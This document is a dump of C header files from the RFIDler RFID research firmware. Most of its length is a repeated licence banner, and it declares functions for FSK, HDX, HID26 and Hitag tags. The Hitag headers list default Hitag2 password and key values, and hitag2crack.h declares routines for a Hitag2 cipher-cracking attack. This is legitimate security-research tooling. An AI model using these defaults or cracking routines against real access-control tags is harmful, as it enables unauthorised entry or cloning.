* offer alternative license to integrate RFIDler into proprietary *
* applications and appliances. These contracts have been sold to dozens *
* of software vendors, and generally include a perpetual license as well *
* as providing for priority support and updates. They also fund the *
* continued development of RFIDler. Please email sales@aperturelabs.com *
* for further information. *
* If you have received a written license agreement or contract for *
* Covered Software stating terms other than these, you may choose to use *
* and redistribute Covered Software under those terms instead of these. *
* *
* Source is provided to this software because we believe users have a *
* right to know exactly what a program is going to do before they run it. *
* This also allows you to audit the software for security holes (none *
* have been found so far). *
* *
* Source code also allows you to port RFIDler to new platforms, fix bugs, *
* and add new features. You are highly encouraged to send your changes *
* to the RFIDler mailing list for possible incorporation into the *
* main distribution. By sending these changes to Aperture Labs Ltd. or *
* one of the Aperture Labs Ltd. development mailing lists, or checking *
* them into the RFIDler source code repository, it is understood (unless *
* you specify otherwise) that you are offering the RFIDler Project *
* (Aperture Labs Ltd.) the unlimited, non-exclusive right to reuse, *
* modify, and relicense the code. RFIDler will always be available Open *
* Source, but this is important because the inability to relicense code *
* has caused devastating problems for other Free Software projects (such *
* as KDE and NASM). We also occasionally relicense the code to third *
* parties as discussed above. If you wish to specify special license *
* conditions of your contributions, just say so when you send them. *
* *
* This program is distributed in the hope that it will be useful, but *
* WITHOUT ANY WARRANTY; without even the implied warranty of *
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the RFIDler *
* license file for more details (it's in a COPYING file included with *
* RFIDler, and also available from *
* https://github.com/ApertureLabsLtd/RFIDler/COPYING *
* *
***************************************************************************/
// Author: Adam Laurie
#define FSK_TOLERANCE 40 // percentage tolerance for pulse widths
BOOL send_fsk_hex(unsigned char *data, unsigned long pulsewidth, unsigned int cpb, unsigned int c0, unsigned int c1, unsigned int repeat);
BOOL send_fsk_bin(unsigned char *data, unsigned int length, unsigned long pulsewidth, unsigned int cpb, unsigned int c0, unsigned int c1, unsigned int repeat);
void write_FSK_HW_clock(unsigned long pulse, BYTE *data, unsigned int tpb, unsigned int t0, unsigned int t1, unsigned int repeat);
BOOL fsk_raw_get_uid(BYTE *response, BOOL oneshot);
BOOL fsk_raw_hex_to_uid(BYTE *response, BYTE *hex);
unsigned int read_fsk_data(unsigned int period_us, unsigned int ticks, unsigned int t0_ticks, unsigned int t1_ticks, BYTE *data, unsigned int bits, BOOL invert, unsigned char *sync, unsigned char syncbits, unsigned int timeout_us, BOOL oneshot, BYTE format);
BOOL read_FSK_HW_clock(unsigned int period, unsigned int ticks, BYTE *data, unsigned int bits, unsigned int timeout_us);
BOOL fskbinarraytobinarray(unsigned char *target, unsigned char *source, unsigned int length, BOOL invert);
================================================
FILE: firmware/Pic32/RFIDler.X/include/hdx.h
================================================
/***************************************************************************
* A copy of the GNU GPL is appended to this file. *
* *
* This licence is based on the nmap licence, and we express our gratitude *
* for the work that went into producing it. There is no other connection *
* between RFIDler and nmap either expressed or implied. *
* *
********************** IMPORTANT RFIDler LICENSE TERMS ********************
* *
* *
* All references to RFIDler herein imply all it's derivatives, namely: *
* *
* o RFIDler-LF Standard *
* o RFIDler-LF Lite *
* o RFIDler-LF Nekkid *
* *
* *
* RFIDler is (C) 2013-2014 Aperture Labs Ltd. *
* *
* This program is free software; you may redistribute and/or modify it *
* under the terms of the GNU General Public License as published by the *
* Free Software Foundation; Version 2 ("GPL"), BUT ONLY WITH ALL OF THE *
* CLARIFICATIONS AND EXCEPTIONS DESCRIBED HEREIN. This guarantees your *
* right to use, modify, and redistribute this software under certain *
* conditions. If you wish to embed RFIDler technology into proprietary *
* software or hardware, we sell alternative licenses *
* (contact sales@aperturelabs.com). *
* *
* Note that the GPL places important restrictions on "derivative works", *
* yet it does not provide a detailed definition of that term. To avoid *
* misunderstandings, we interpret that term as broadly as copyright law *
* allows. For example, we consider an application to constitute a *
* derivative work for the purpose of this license if it does any of the *
* following with any software or content covered by this license *
* ("Covered Software"): *
* *
* o Integrates source code from Covered Software. *
* *
* o Is designed specifically to execute Covered Software and parse the *
* results (as opposed to typical shell or execution-menu apps, which will *
* execute anything you tell them to). *
* *
* o Includes Covered Software in a proprietary executable installer. The *
* installers produced by InstallShield are an example of this. Including *
* RFIDler with other software in compressed or archival form does not *
* trigger this provision, provided appropriate open source decompression *
* or de-archiving software is widely available for no charge. For the *
* purposes of this license, an installer is considered to include Covered *
* Software even if it actually retrieves a copy of Covered Software from *
* another source during runtime (such as by downloading it from the *
* Internet). *
* *
* o Links (statically or dynamically) to a library which does any of the *
* above. *
* *
* o Executes a helper program, module, or script to do any of the above. *
* *
* This list is not exclusive, but is meant to clarify our interpretation *
* of derived works with some common examples. Other people may interpret *
* the plain GPL differently, so we consider this a special exception to *
* the GPL that we apply to Covered Software. Works which meet any of *
* these conditions must conform to all of the terms of this license, *
* particularly including the GPL Section 3 requirements of providing *
* source code and allowing free redistribution of the work as a whole. *
* *
* As another special exception to the GPL terms, Aperture Labs Ltd. grants*
* permission to link the code of this program with any version of the *
* OpenSSL library which is distributed under a license identical to that *
* listed in the included docs/licenses/OpenSSL.txt file, and distribute *
* linked combinations including the two. *
* *
* Any redistribution of Covered Software, including any derived works, *
* must obey and carry forward all of the terms of this license, including *
* obeying all GPL rules and restrictions. For example, source code of *
* the whole work must be provided and free redistribution must be *
* allowed. All GPL references to "this License", are to be treated as *
* including the terms and conditions of this license text as well. *
* *
* Because this license imposes special exceptions to the GPL, Covered *
* Work may not be combined (even as part of a larger work) with plain GPL *
* software. The terms, conditions, and exceptions of this license must *
* be included as well. This license is incompatible with some other open *
* source licenses as well. In some cases we can relicense portions of *
* RFIDler or grant special permissions to use it in other open source *
* software. Please contact sales@aperturelabs.com with any such requests.*
* Similarly, we don't incorporate incompatible open source software into *
* Covered Software without special permission from the copyright holders. *
* *
* If you have any questions about the licensing restrictions on using *
* RFIDler in other works, are happy to help. As mentioned above, we also *
* offer alternative license to integrate RFIDler into proprietary *
* applications and appliances. These contracts have been sold to dozens *
* of software vendors, and generally include a perpetual license as well *
* as providing for priority support and updates. They also fund the *
* continued development of RFIDler. Please email sales@aperturelabs.com *
* for further information. *
* If you have received a written license agreement or contract for *
* Covered Software stating terms other than these, you may choose to use *
* and redistribute Covered Software under those terms instead of these. *
* *
* Source is provided to this software because we believe users have a *
* right to know exactly what a program is going to do before they run it. *
* This also allows you to audit the software for security holes (none *
* have been found so far). *
* *
* Source code also allows you to port RFIDler to new platforms, fix bugs, *
* and add new features. You are highly encouraged to send your changes *
* to the RFIDler mailing list for possible incorporation into the *
* main distribution. By sending these changes to Aperture Labs Ltd. or *
* one of the Aperture Labs Ltd. development mailing lists, or checking *
* them into the RFIDler source code repository, it is understood (unless *
* you specify otherwise) that you are offering the RFIDler Project *
* (Aperture Labs Ltd.) the unlimited, non-exclusive right to reuse, *
* modify, and relicense the code. RFIDler will always be available Open *
* Source, but this is important because the inability to relicense code *
* has caused devastating problems for other Free Software projects (such *
* as KDE and NASM). We also occasionally relicense the code to third *
* parties as discussed above. If you wish to specify special license *
* conditions of your contributions, just say so when you send them. *
* *
* This program is distributed in the hope that it will be useful, but *
* WITHOUT ANY WARRANTY; without even the implied warranty of *
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the RFIDler *
* license file for more details (it's in a COPYING file included with *
* RFIDler, and also available from *
* https://github.com/ApertureLabsLtd/RFIDler/COPYING *
* *
***************************************************************************/
// Author: Adam Laurie
#define HDX_DATABITS 112
BOOL hdx_get_uid(BYTE *response);
BOOL hdx_hex_to_uid(BYTE *uid, BYTE *hex);
BOOL hdx_hex_to_bin(BYTE *response, BYTE *fdxb);
BOOL uid_to_hdx_bin(BYTE *bin, BYTE *uid);
BOOL uid_to_hdx_hex(BYTE *bin, BYTE *uid);
================================================
FILE: firmware/Pic32/RFIDler.X/include/hid.h
================================================
/***************************************************************************
* A copy of the GNU GPL is appended to this file. *
* *
* This licence is based on the nmap licence, and we express our gratitude *
* for the work that went into producing it. There is no other connection *
* between RFIDler and nmap either expressed or implied. *
* *
********************** IMPORTANT RFIDler LICENSE TERMS ********************
* *
* *
* All references to RFIDler herein imply all it's derivatives, namely: *
* *
* o RFIDler-LF Standard *
* o RFIDler-LF Lite *
* o RFIDler-LF Nekkid *
* *
* *
* RFIDler is (C) 2013-2014 Aperture Labs Ltd. *
* *
* This program is free software; you may redistribute and/or modify it *
* under the terms of the GNU General Public License as published by the *
* Free Software Foundation; Version 2 ("GPL"), BUT ONLY WITH ALL OF THE *
* CLARIFICATIONS AND EXCEPTIONS DESCRIBED HEREIN. This guarantees your *
* right to use, modify, and redistribute this software under certain *
* conditions. If you wish to embed RFIDler technology into proprietary *
* software or hardware, we sell alternative licenses *
* (contact sales@aperturelabs.com). *
* *
* Note that the GPL places important restrictions on "derivative works", *
* yet it does not provide a detailed definition of that term. To avoid *
* misunderstandings, we interpret that term as broadly as copyright law *
* allows. For example, we consider an application to constitute a *
* derivative work for the purpose of this license if it does any of the *
* following with any software or content covered by this license *
* ("Covered Software"): *
* *
* o Integrates source code from Covered Software. *
* *
* o Is designed specifically to execute Covered Software and parse the *
* results (as opposed to typical shell or execution-menu apps, which will *
* execute anything you tell them to). *
* *
* o Includes Covered Software in a proprietary executable installer. The *
* installers produced by InstallShield are an example of this. Including *
* RFIDler with other software in compressed or archival form does not *
* trigger this provision, provided appropriate open source decompression *
* or de-archiving software is widely available for no charge. For the *
* purposes of this license, an installer is considered to include Covered *
* Software even if it actually retrieves a copy of Covered Software from *
* another source during runtime (such as by downloading it from the *
* Internet). *
* *
* o Links (statically or dynamically) to a library which does any of the *
* above. *
* *
* o Executes a helper program, module, or script to do any of the above. *
* *
* This list is not exclusive, but is meant to clarify our interpretation *
* of derived works with some common examples. Other people may interpret *
* the plain GPL differently, so we consider this a special exception to *
* the GPL that we apply to Covered Software. Works which meet any of *
* these conditions must conform to all of the terms of this license, *
* particularly including the GPL Section 3 requirements of providing *
* source code and allowing free redistribution of the work as a whole. *
* *
* As another special exception to the GPL terms, Aperture Labs Ltd. grants*
* permission to link the code of this program with any version of the *
* OpenSSL library which is distributed under a license identical to that *
* listed in the included docs/licenses/OpenSSL.txt file, and distribute *
* linked combinations including the two. *
* *
* Any redistribution of Covered Software, including any derived works, *
* must obey and carry forward all of the terms of this license, including *
* obeying all GPL rules and restrictions. For example, source code of *
* the whole work must be provided and free redistribution must be *
* allowed. All GPL references to "this License", are to be treated as *
* including the terms and conditions of this license text as well. *
* *
* Because this license imposes special exceptions to the GPL, Covered *
* Work may not be combined (even as part of a larger work) with plain GPL *
* software. The terms, conditions, and exceptions of this license must *
* be included as well. This license is incompatible with some other open *
* source licenses as well. In some cases we can relicense portions of *
* RFIDler or grant special permissions to use it in other open source *
* software. Please contact sales@aperturelabs.com with any such requests.*
* Similarly, we don't incorporate incompatible open source software into *
* Covered Software without special permission from the copyright holders. *
* *
* If you have any questions about the licensing restrictions on using *
* RFIDler in other works, are happy to help. As mentioned above, we also *
* offer alternative license to integrate RFIDler into proprietary *
* applications and appliances. These contracts have been sold to dozens *
* of software vendors, and generally include a perpetual license as well *
* as providing for priority support and updates. They also fund the *
* continued development of RFIDler. Please email sales@aperturelabs.com *
* for further information. *
* If you have received a written license agreement or contract for *
* Covered Software stating terms other than these, you may choose to use *
* and redistribute Covered Software under those terms instead of these. *
* *
* Source is provided to this software because we believe users have a *
* right to know exactly what a program is going to do before they run it. *
* This also allows you to audit the software for security holes (none *
* have been found so far). *
* *
* Source code also allows you to port RFIDler to new platforms, fix bugs, *
* and add new features. You are highly encouraged to send your changes *
* to the RFIDler mailing list for possible incorporation into the *
* main distribution. By sending these changes to Aperture Labs Ltd. or *
* one of the Aperture Labs Ltd. development mailing lists, or checking *
* them into the RFIDler source code repository, it is understood (unless *
* you specify otherwise) that you are offering the RFIDler Project *
* (Aperture Labs Ltd.) the unlimited, non-exclusive right to reuse, *
* modify, and relicense the code. RFIDler will always be available Open *
* Source, but this is important because the inability to relicense code *
* has caused devastating problems for other Free Software projects (such *
* as KDE and NASM). We also occasionally relicense the code to third *
* parties as discussed above. If you wish to specify special license *
* conditions of your contributions, just say so when you send them. *
* *
* This program is distributed in the hope that it will be useful, but *
* WITHOUT ANY WARRANTY; without even the implied warranty of *
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the RFIDler *
* license file for more details (it's in a COPYING file included with *
* RFIDler, and also available from *
* https://github.com/ApertureLabsLtd/RFIDler/COPYING *
* *
***************************************************************************/
// Author: Adam Laurie
#define HID26_DATABITS 96
BOOL hid26_hex_to_uid(unsigned char *response, unsigned char *hid26);
BOOL bcd_to_hid26_bin(unsigned char *hid26, unsigned char *bcd);
BOOL hid26_get_uid(BYTE *response);
BOOL hid26_hex_to_uid(BYTE *response, BYTE *hex);
================================================
FILE: firmware/Pic32/RFIDler.X/include/hitag.h
================================================
/***************************************************************************
* A copy of the GNU GPL is appended to this file. *
* *
* This licence is based on the nmap licence, and we express our gratitude *
* for the work that went into producing it. There is no other connection *
* between RFIDler and nmap either expressed or implied. *
* *
********************** IMPORTANT RFIDler LICENSE TERMS ********************
* *
* *
* All references to RFIDler herein imply all it's derivatives, namely: *
* *
* o RFIDler-LF Standard *
* o RFIDler-LF Lite *
* o RFIDler-LF Nekkid *
* *
* *
* RFIDler is (C) 2013-2017 Aperture Labs Ltd. *
* *
* This program is free software; you may redistribute and/or modify it *
* under the terms of the GNU General Public License as published by the *
* Free Software Foundation; Version 2 ("GPL"), BUT ONLY WITH ALL OF THE *
* CLARIFICATIONS AND EXCEPTIONS DESCRIBED HEREIN. This guarantees your *
* right to use, modify, and redistribute this software under certain *
* conditions. If you wish to embed RFIDler technology into proprietary *
* software or hardware, we sell alternative licenses *
* (contact sales@aperturelabs.com). *
* *
* Note that the GPL places important restrictions on "derivative works", *
* yet it does not provide a detailed definition of that term. To avoid *
* misunderstandings, we interpret that term as broadly as copyright law *
* allows. For example, we consider an application to constitute a *
* derivative work for the purpose of this license if it does any of the *
* following with any software or content covered by this license *
* ("Covered Software"): *
* *
* o Integrates source code from Covered Software. *
* *
* o Is designed specifically to execute Covered Software and parse the *
* results (as opposed to typical shell or execution-menu apps, which will *
* execute anything you tell them to). *
* *
* o Includes Covered Software in a proprietary executable installer. The *
* installers produced by InstallShield are an example of this. Including *
* RFIDler with other software in compressed or archival form does not *
* trigger this provision, provided appropriate open source decompression *
* or de-archiving software is widely available for no charge. For the *
* purposes of this license, an installer is considered to include Covered *
* Software even if it actually retrieves a copy of Covered Software from *
* another source during runtime (such as by downloading it from the *
* Internet). *
* *
* o Links (statically or dynamically) to a library which does any of the *
* above. *
* *
* o Executes a helper program, module, or script to do any of the above. *
* *
* This list is not exclusive, but is meant to clarify our interpretation *
* of derived works with some common examples. Other people may interpret *
* the plain GPL differently, so we consider this a special exception to *
* the GPL that we apply to Covered Software. Works which meet any of *
* these conditions must conform to all of the terms of this license, *
* particularly including the GPL Section 3 requirements of providing *
* source code and allowing free redistribution of the work as a whole. *
* *
* As another special exception to the GPL terms, Aperture Labs Ltd. grants*
* permission to link the code of this program with any version of the *
* OpenSSL library which is distributed under a license identical to that *
* listed in the included docs/licenses/OpenSSL.txt file, and distribute *
* linked combinations including the two. *
* *
* Any redistribution of Covered Software, including any derived works, *
* must obey and carry forward all of the terms of this license, including *
* obeying all GPL rules and restrictions. For example, source code of *
* the whole work must be provided and free redistribution must be *
* allowed. All GPL references to "this License", are to be treated as *
* including the terms and conditions of this license text as well. *
* *
* Because this license imposes special exceptions to the GPL, Covered *
* Work may not be combined (even as part of a larger work) with plain GPL *
* software. The terms, conditions, and exceptions of this license must *
* be included as well. This license is incompatible with some other open *
* source licenses as well. In some cases we can relicense portions of *
* RFIDler or grant special permissions to use it in other open source *
* software. Please contact sales@aperturelabs.com with any such requests.*
* Similarly, we don't incorporate incompatible open source software into *
* Covered Software without special permission from the copyright holders. *
* *
* If you have any questions about the licensing restrictions on using *
* RFIDler in other works, are happy to help. As mentioned above, we also *
* offer alternative license to integrate RFIDler into proprietary *
* applications and appliances. These contracts have been sold to dozens *
* of software vendors, and generally include a perpetual license as well *
* as providing for priority support and updates. They also fund the *
* continued development of RFIDler. Please email sales@aperturelabs.com *
* for further information. *
* If you have received a written license agreement or contract for *
* Covered Software stating terms other than these, you may choose to use *
* and redistribute Covered Software under those terms instead of these. *
* *
* Source is provided to this software because we believe users have a *
* right to know exactly what a program is going to do before they run it. *
* This also allows you to audit the software for security holes (none *
* have been found so far). *
* *
* Source code also allows you to port RFIDler to new platforms, fix bugs, *
* and add new features. You are highly encouraged to send your changes *
* to the RFIDler mailing list for possible incorporation into the *
* main distribution. By sending these changes to Aperture Labs Ltd. or *
* one of the Aperture Labs Ltd. development mailing lists, or checking *
* them into the RFIDler source code repository, it is understood (unless *
* you specify otherwise) that you are offering the RFIDler Project *
* (Aperture Labs Ltd.) the unlimited, non-exclusive right to reuse, *
* modify, and relicense the code. RFIDler will always be available Open *
* Source, but this is important because the inability to relicense code *
* has caused devastating problems for other Free Software projects (such *
* as KDE and NASM). We also occasionally relicense the code to third *
* parties as discussed above. If you wish to specify special license *
* conditions of your contributions, just say so when you send them. *
* *
* This program is distributed in the hope that it will be useful, but *
* WITHOUT ANY WARRANTY; without even the implied warranty of *
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the RFIDler *
* license file for more details (it's in a COPYING file included with *
* RFIDler, and also available from *
* https://github.com/ApertureLabsLtd/RFIDler/COPYING *
* *
***************************************************************************/
// Author: Adam Laurie
// hitag1 commands
#define HITAG1_SET_CC "00110" // get UID when in Anti-Collision mode
#define HITAG1_SELECT "00000" // select tag for read/write
#define HITAG1_WRPPAGE "1000" // write page plaintext mode (page is 32 bits, number 0-63)
#define HITAG1_WRPBLK "1001" // write block plaintext mode (block is 4 pages)
#define HITAG1_WRCPAGE "1010" // write page crypto mode
#define HITAG1_WRCBLK "1011" // write block crypto mode
#define HITAG1_RDPPAGE "1100" // read page plaintext mode
#define HITAG1_RDPBLK "1101" // read block plaintext mode
#define HITAG1_RDCPAGE "1110" // read page crypto mode
#define HITAG1_RDCBLK "1111" // read block crypto mode
#define HITAG1_HALT "0111" // halt selected tag
#define HITAG1_CRC_POLYNOM 0x1D
#define HITAG1_CRC_PRESET 0xFF
#define HITAG1_BLOCKSIZE 32 // read returns block sizes of 32, 64, 96 or 128 Bit, but we will only use 32
#define HITAG1_MAX_COMMAND_LEN 46 // longest command as binstring, plus NULL
#define HITAG1_DATABLOCKS 64 // total blocks
#define HITAG1_CONFIG_BLOCK_NUM 1 // config block
#define HITAG1_USER_DATA_BLOCK_NUM 4 // 1st user data block
#define HITAG1_WRITE_DELAY 726 // time to complete write in FCs
// hitag2 commands
#define HITAG2_START_AUTH "11000" // get UID and/or start the authentication process
#define HITAG2_READ_PAGE "11" // read page after auth
#define HITAG2_READ_PAGE_INVERTED "01" // as read page but all bits inverted
#define HITAG2_WRITE_PAGE "10" // write page after auth
#define HITAG2_HALT "00" // silence currently authenticated tag
#define HITAG2_PWD_DEFAULT "4D494B52" // hitag default PWD ("MIKR")
#define HITAG2_KEY_LOW "4D494B52" // hitag default KEY_LOW
#define HITAG2_KEY_HIGH "4F4E" // hitag default KEY_HIGH ("ON")
#define HITAG2_KEY_DEFAULT "4F4E4D494B52" // hitag default key in correct order for AUTH command ("ONMIKR")
#define HITAG2_BLANK_BLOCK "00000000"
#define HITAG2_PW_BLOCK_NUM 1 // password block number
#define HITAG2_KEY_BLOCK_NUM 2 // crypto key block number
#define HITAG2_CONFIG_BLOCK_NUM 3 // hitag2 config block
#define HITAG2_USER_DATA_BLOCK_NUM 4 // 1st user data block
#define HITAG2_BLOCKSIZE 32 // block size in bits
#define HITAG2_DATABLOCKS 8 // total number of blocks
#define HITAG2_WRITE_DELAY 614 // time to complete write in FCs
// config blocks
#define HITAG2_DEFAULT_CONFIG_BLOCK "06AA4854" // hitag2 native, password mode
#define HITAG2_CRYPTO_CONFIG_BLOCK "0EAA4854" // hitag2 native, crypto mode
#define HITAG2_FDXB_CONFIG_BLOCK "00AA4854" // public-mode b
#define HITAG2_UNIQUE_CONFIG_BLOCK "02AA4854" // public-mode a
#define HITAG2_EM4X02_CONFIG_BLOCK "02AA4854" // public-mode a
#define HITAG2_PAXTON_CONFIG_BLOCK "02AA4854" // public-mode a
#define HITAG2_MODEC_CONFIG_BLOCK "04AA4854" // public-mode c - PCF793X
// config block masks
#define HITAG2_MASK_PAGE_1_2_OTP_PROTECT 0b10000000
#define HITAG2_MASK_PAGE_3_OTP_PROTECT 0b01000000
#define HITAG2_MASK_PAGE_4_5_PROTECT 0b00100000
#define HITAG2_MASK_PAGE_6_7_PROTECT 0b00010000
#define HITAG2_MASK_SECURITY 0b00001000
#define HITAG2_MASK_MODE 0b00000110
#define HITAG2_MASK_MODULATION 0b00000001
// config block bit shifts
#define HITAG2_SHIFT_PAGE_1_2_OTP_PROTECT 7
#define HITAG2_SHIFT_PAGE_3_OTP_PROTECT 6
#define HITAG2_SHIFT_PAGE_4_5_PROTECT 5
#define HITAG2_SHIFT_PAGE_6_7_PROTECT 4
#define HITAG2_SHIFT_SECURITY 3
#define HITAG2_SHIFT_MODE 1
#define HITAG2_SHIFT_MODULATION 0
#define HITAG2_PWM_NVM_PAGES 2
#define HITAG2_PWM_NVM_SIZE (NVM_PAGE_SIZE * HITAG2_PWM_NVM_PAGES)
#define HITAG2_PWM_NVM_ADDRESS (RFIDLER_NVM_ADDRESS - HITAG2_PWM_NVM_SIZE)
#define HITAG2_PWM_NVM_DATA (HITAG2_PWM_NVM_ADDRESS + 4)
#define HITAG2_PWM_NVM_MAX ((HITAG2_PWM_NVM_SIZE / 20) - 1)
BOOL hitag1_get_uid(BYTE *response);
BOOL hitag1_hex_to_uid(BYTE *response, BYTE *hex);
BOOL hitag1_select(BYTE *response, BYTE *uid);
BOOL hitag1_read_page(BYTE *response, BYTE block);
BOOL hitag1_send_command(BYTE *response, BYTE *command, BOOL reset, BOOL sync, BYTE response_length, BOOL ack);
void hitag1_binarray_crc(BYTE *crc, BYTE *bin, BYTE length);
void hitag1_crc(BYTE *crc, BYTE data, BYTE bits);
BOOL hitag1_decode_pwm(unsigned int pulses[], unsigned int gaps[], unsigned int count);
BOOL hitag2_get_uid(BYTE *response);
BOOL hitag2_hex_to_uid(BYTE *response, BYTE *hex);
BOOL hitag2_pwd_auth(BYTE *response, BYTE *pwd);
BOOL hitag2_read_page(BYTE *response, BYTE block);
BOOL hitag2_write_page(BYTE block, BYTE *data);
void hitag2_test_rwd(unsigned int gapmin, unsigned int gapmax, unsigned int zeromin, unsigned int zeromax, unsigned int onemin, unsigned int onemax, BYTE *pass);
BOOL hitag2_hex_crypt(BYTE *target, BYTE *source);
void hitag2_binstring_crypt(BYTE *target, BYTE *source);
void hitag2_binarray_crypt(BYTE *target, BYTE *source, unsigned int length);
unsigned long hitag2_crypt(unsigned long source, BYTE length);
unsigned int hitag_ac_to_bin(BYTE *target, BYTE *source, unsigned int length);
BOOL hitag2_emulate_config_block(BYTE *config, BYTE target_tagtype);
BOOL hitag2_decode_pwm(unsigned int pulses[], unsigned int gaps[], unsigned int count);
BOOL hitag2_config_block_show(BYTE *config, BYTE *password, BYTE *key);
void hitag2_pwm_nvm_clear();
void store_pwm(BYTE *data);
void hitag2_pwm_display_nrars();
================================================
FILE: firmware/Pic32/RFIDler.X/include/hitag2crack.h
================================================
/***************************************************************************
* A copy of the GNU GPL is appended to this file. *
* *
* This licence is based on the nmap licence, and we express our gratitude *
* for the work that went into producing it. There is no other connection *
* between RFIDler and nmap either expressed or implied. *
* *
********************** IMPORTANT RFIDler LICENSE TERMS ********************
* *
* *
* All references to RFIDler herein imply all it's derivatives, namely: *
* *
* o RFIDler-LF Standard *
* o RFIDler-LF Lite *
* o RFIDler-LF Nekkid *
* *
* *
* RFIDler is (C) 2013-2017 Aperture Labs Ltd. *
* *
* This program is free software; you may redistribute and/or modify it *
* under the terms of the GNU General Public License as published by the *
* Free Software Foundation; Version 2 ("GPL"), BUT ONLY WITH ALL OF THE *
* CLARIFICATIONS AND EXCEPTIONS DESCRIBED HEREIN. This guarantees your *
* right to use, modify, and redistribute this software under certain *
* conditions. If you wish to embed RFIDler technology into proprietary *
* software or hardware, we sell alternative licenses *
* (contact sales@aperturelabs.com). *
* *
* Note that the GPL places important restrictions on "derivative works", *
* yet it does not provide a detailed definition of that term. To avoid *
* misunderstandings, we interpret that term as broadly as copyright law *
* allows. For example, we consider an application to constitute a *
* derivative work for the purpose of this license if it does any of the *
* following with any software or content covered by this license *
* ("Covered Software"): *
* *
* o Integrates source code from Covered Software. *
* *
* o Is designed specifically to execute Covered Software and parse the *
* results (as opposed to typical shell or execution-menu apps, which will *
* execute anything you tell them to). *
* *
* o Includes Covered Software in a proprietary executable installer. The *
* installers produced by InstallShield are an example of this. Including *
* RFIDler with other software in compressed or archival form does not *
* trigger this provision, provided appropriate open source decompression *
* or de-archiving software is widely available for no charge. For the *
* purposes of this license, an installer is considered to include Covered *
* Software even if it actually retrieves a copy of Covered Software from *
* another source during runtime (such as by downloading it from the *
* Internet). *
* *
* o Links (statically or dynamically) to a library which does any of the *
* above. *
* *
* o Executes a helper program, module, or script to do any of the above. *
* *
* This list is not exclusive, but is meant to clarify our interpretation *
* of derived works with some common examples. Other people may interpret *
* the plain GPL differently, so we consider this a special exception to *
* the GPL that we apply to Covered Software. Works which meet any of *
* these conditions must conform to all of the terms of this license, *
* particularly including the GPL Section 3 requirements of providing *
* source code and allowing free redistribution of the work as a whole. *
* *
* As another special exception to the GPL terms, Aperture Labs Ltd. grants*
* permission to link the code of this program with any version of the *
* OpenSSL library which is distributed under a license identical to that *
* listed in the included docs/licenses/OpenSSL.txt file, and distribute *
* linked combinations including the two. *
* *
* Any redistribution of Covered Software, including any derived works, *
* must obey and carry forward all of the terms of this license, including *
* obeying all GPL rules and restrictions. For example, source code of *
* the whole work must be provided and free redistribution must be *
* allowed. All GPL references to "this License", are to be treated as *
* including the terms and conditions of this license text as well. *
* *
* Because this license imposes special exceptions to the GPL, Covered *
* Work may not be combined (even as part of a larger work) with plain GPL *
* software. The terms, conditions, and exceptions of this license must *
* be included as well. This license is incompatible with some other open *
* source licenses as well. In some cases we can relicense portions of *
* RFIDler or grant special permissions to use it in other open source *
* software. Please contact sales@aperturelabs.com with any such requests.*
* Similarly, we don't incorporate incompatible open source software into *
* Covered Software without special permission from the copyright holders. *
* *
* If you have any questions about the licensing restrictions on using *
* RFIDler in other works, are happy to help. As mentioned above, we also *
* offer alternative license to integrate RFIDler into proprietary *
* applications and appliances. These contracts have been sold to dozens *
* of software vendors, and generally include a perpetual license as well *
* as providing for priority support and updates. They also fund the *
* continued development of RFIDler. Please email sales@aperturelabs.com *
* for further information. *
* If you have received a written license agreement or contract for *
* Covered Software stating terms other than these, you may choose to use *
* and redistribute Covered Software under those terms instead of these. *
* *
* Source is provided to this software because we believe users have a *
* right to know exactly what a program is going to do before they run it. *
* This also allows you to audit the software for security holes (none *
* have been found so far). *
* *
* Source code also allows you to port RFIDler to new platforms, fix bugs, *
* and add new features. You are highly encouraged to send your changes *
* to the RFIDler mailing list for possible incorporation into the *
* main distribution. By sending these changes to Aperture Labs Ltd. or *
* one of the Aperture Labs Ltd. development mailing lists, or checking *
* them into the RFIDler source code repository, it is understood (unless *
* you specify otherwise) that you are offering the RFIDler Project *
* (Aperture Labs Ltd.) the unlimited, non-exclusive right to reuse, *
* modify, and relicense the code. RFIDler will always be available Open *
* Source, but this is important because the inability to relicense code *
* has caused devastating problems for other Free Software projects (such *
* as KDE and NASM). We also occasionally relicense the code to third *
* parties as discussed above. If you wish to specify special license *
* conditions of your contributions, just say so when you send them. *
* *
* This program is distributed in the hope that it will be useful, but *
* WITHOUT ANY WARRANTY; without even the implied warranty of *
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the RFIDler *
* license file for more details (it's in a COPYING file included with *
* RFIDler, and also available from *
* https://github.com/ApertureLabsLtd/RFIDler/COPYING *
* *
***************************************************************************/
// Author: Kevin Sheldrake
#define HITAG2_NVM_PAGES 2
#define HITAG2_NVM_SIZE (NVM_PAGE_SIZE * HITAG2_NVM_PAGES)
#define HITAG2_NVM_ADDRESS (RFIDLER_NVM_ADDRESS - HITAG2_NVM_SIZE)
#define HITAG2_NVM_DATA (HITAG2_NVM_ADDRESS + 4)
#define HITAG2_NVM_MAX ((HITAG2_NVM_SIZE / 64) - 1)
BOOL hitag2_crack(BYTE *response, BYTE *nrarhex);
BOOL hitag2crack_find_valid_e_cmd(BYTE e_cmd[], BYTE nrar[]);
BOOL hitag2crack_find_e_page0_cmd(BYTE keybits[], BYTE e_firstcmd[], BYTE nrar[], BYTE uid[]);
BOOL hitag2crack_test_e_p0cmd(BYTE *keybits, BYTE *nrar, BYTE *e_cmd, BYTE *uid, BYTE *e_uid);
void hitag2crack_xor(BYTE *target, BYTE *source, BYTE *pad, unsigned int len);
BOOL hitag2crack_read_page(BYTE *responsestr, BYTE pagenum, BYTE *nrar, BYTE *keybits);
BOOL hitag2crack_send_e_cmd(BYTE *responsestr, BYTE *nrar, BYTE *cmd, int len);
BOOL hitag2crack_tx_rx(BYTE *responsestr, BYTE *msg, int len, int state, BOOL reset);
BOOL hitag2crack_rng_init(BYTE *response, BYTE *input);
BOOL hitag2crack_decrypt_hex(BYTE *response, BYTE *hex);
BOOL hitag2crack_decrypt_bin(BYTE *response, BYTE *hex);
BOOL hitag2crack_encrypt_hex(BYTE *response, BYTE *hex);
BOOL hitag2crack_encrypt_bin(BYTE *response, BYTE *hex);
BOOL hitag2_keystream(BYTE *response, BYTE *nrarhex);
BOOL hitag2crack_send_auth(BYTE *nrar);
